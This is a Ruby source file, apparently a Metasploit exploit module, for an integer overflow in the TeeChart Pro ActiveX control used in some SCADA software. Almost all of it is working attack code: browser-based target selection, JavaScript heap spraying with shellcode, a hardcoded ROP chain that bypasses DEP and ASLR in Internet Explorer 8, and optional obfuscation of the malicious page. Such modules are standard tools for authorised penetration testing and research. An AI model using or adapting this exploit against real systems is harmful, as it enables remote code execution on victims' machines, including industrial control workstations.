273 lines
8.6 KiB
Ruby
273 lines
8.6 KiB
Ruby
##
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# $Id$
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##
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###
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super( update_info(info,
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'Name' => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',
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'Description' => %q{
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This module exploits a integer overflow in TeeChart Pro ActiveX control. When
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sending an overly large/negative integer value to the AddSeries() property of
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TeeChart2010.ocx, the code will perform an arithemetic operation that wraps the
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value and is later directly trusted and called upon.
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This module has been designed to bypass DEP only under IE8 with Java support. Multiple
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versions (including the latest version) are affected by this vulnerability that date
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back to as far as 2001.
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The following controls are vulnerable:
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TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
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TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
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TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
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TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
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TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).
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The controls are deployed under several SCADA based systems including:
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Unitronics OPC server v1.3;
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BACnet Operator Workstation Version 1.0.76
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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# twitter.com/net__ninja
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'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module
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'sinn3r', #Auto target, obfuscation, lots of testing
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],
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'Version' => '$Revision$',
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'References' =>
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[
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#[ 'CVE', '?' ],
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[ 'OSVDB', '74446'],
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[ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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# For exploitation we need to calculate a value for EDX:
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# <target address> - EAX / 4 = address to place in edx via signed integar
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# 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390
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[
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'Windows XP SP0-SP3 (IE6/IE7)',
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{
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'Ret' => 0x027314C6
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}
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],
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# Windows XP target + IE8 + JAVA = ASLR/DEP Bypass
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# 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB
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[
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'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
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{
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'Ret' => 0x014E59CB,
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# 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8
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# get back to the 2nd of rop.
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'Pivot' => 0x09441FF8
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}
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],
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# Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass
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# 0x16672020 - 0x040AB8F4/4 = 0x049719CB
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[
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'Windows 7 + JAVA + DEP bypass (IE8)',
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{
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'Ret' => 0x049719CB,
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# 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8
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# get back to the 2nd of rop.
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'Pivot' => 0x16671FF8
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}
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]
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],
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'DisclosureDate' => 'Aug 11 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
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], self.class)
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end
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def junk
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return rand_text_alpha(4).unpack("L")[0].to_i
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end
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def on_request_uri(cli, request)
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#Set target manually or automatically
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my_target = target
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if my_target.name == 'Automatic'
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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my_target = targets[2]
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
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my_target = targets[3]
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end
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end
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print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# align stack
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retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
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pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))
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# shellcode
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sc = Rex::Text.to_unescape(p.encoded)
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# Randomize object name
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obj_name = rand_text_alpha(rand(100) + 1)
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main_sym = 'main' #main function name
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if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
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js = <<-EOF
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var sc = unescape('#{sc}');
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var nops = unescape('%u0c0c%u0c0c');
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var offset = 20;
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var s = offset + sc.length;
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while(nops.length < s) {
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nops += nops;
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}
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var chunk1 = nops.substring(0, s);
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var chunk2 = nops.substring(0, nops.length - s);
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while((chunk2.length + s) < 0x50000) {
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chunk2 = chunk2 + chunk2 + chunk1;
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}
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var blocks = new Array();
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for(var counter=0; counter<200; counter++){
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blocks[counter] = chunk2 + sc;
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}
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function main()
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{
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#{obj_name}.AddSeries(#{my_target.ret});
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}
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EOF
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end
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#http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
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if my_target.name =~ /IE8/
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# thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll)
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# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
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rop_gadgets = [
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my_target['Pivot'],# Pivot back EAX for ESP control
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0x7C342643, # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN
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0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
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0x7c37a140, # Make EAX readable
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0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
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0x41414141, # EBP (filler)
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0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
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0x7c37a140, # <- *&VirtualProtect()
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0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
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0x7c346c0b, # Slide, so next gadget would write to correct stack location
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0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
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0x41414141, # EDI (filler)
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0x41414141, # will be patched at runtime (VP), then picked up into ESI
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0x41414141, # EBX (filler)
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0x7c376402, # POP EBP # RETN (msvcr71.dll)
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0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)
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0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
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0xfffffdff, # size 0x00000201 -> ebx, modify if needed
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0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
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0x7c354901, # POP EBX # RETN (MSVCR71.dll)
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0xffffffff, # pop value into ebx
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0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
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0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
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0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
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0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
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0x7c34b8d8, # ROP NOP (-> edi)
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0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
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0xffffffc0, # value to negate, target value : 0x00000040, target: edx
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0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
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0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
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0x90909090, # NOPS (-> eax)
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
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].pack('V*')
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rop = Rex::Text.to_unescape(rop_gadgets)
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custom_js = <<-EOF
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function heapspray(){
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var heapLib = new heapLib.ie(0x20000);
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var payload = unescape('#{rop}');
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payload += unescape('#{sc}');
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while(payload.length <= 0xffc) payload += unescape('#{retn}')
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while(payload.length < 0x1000) payload += unescape('#{pop_pop_retn}')
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var data = payload;
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while(data.length < 0x40000) data += data;
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var block = data.substring(2, 0x40000 - 0x21);
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for(var i = 0; i < 0x400; i++) {
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heapLib.alloc(block);
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}
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}
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function main(){
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heapspray();
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#{obj_name}.AddSeries(#{my_target.ret});
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}
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EOF
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js = heaplib(custom_js)
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#JS obfuscation on demand
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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main_sym = js.sym('main')
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end
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end
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content = <<-EOF
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<object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{obj_name}' ></object>
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<script language='JavaScript' defer>
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#{js}
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</script>
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<body onload="#{main_sym}();">
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<body>
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</html>
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EOF
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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#Remove the extra tabs from content
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content = content.gsub(/^\t\t/, '')
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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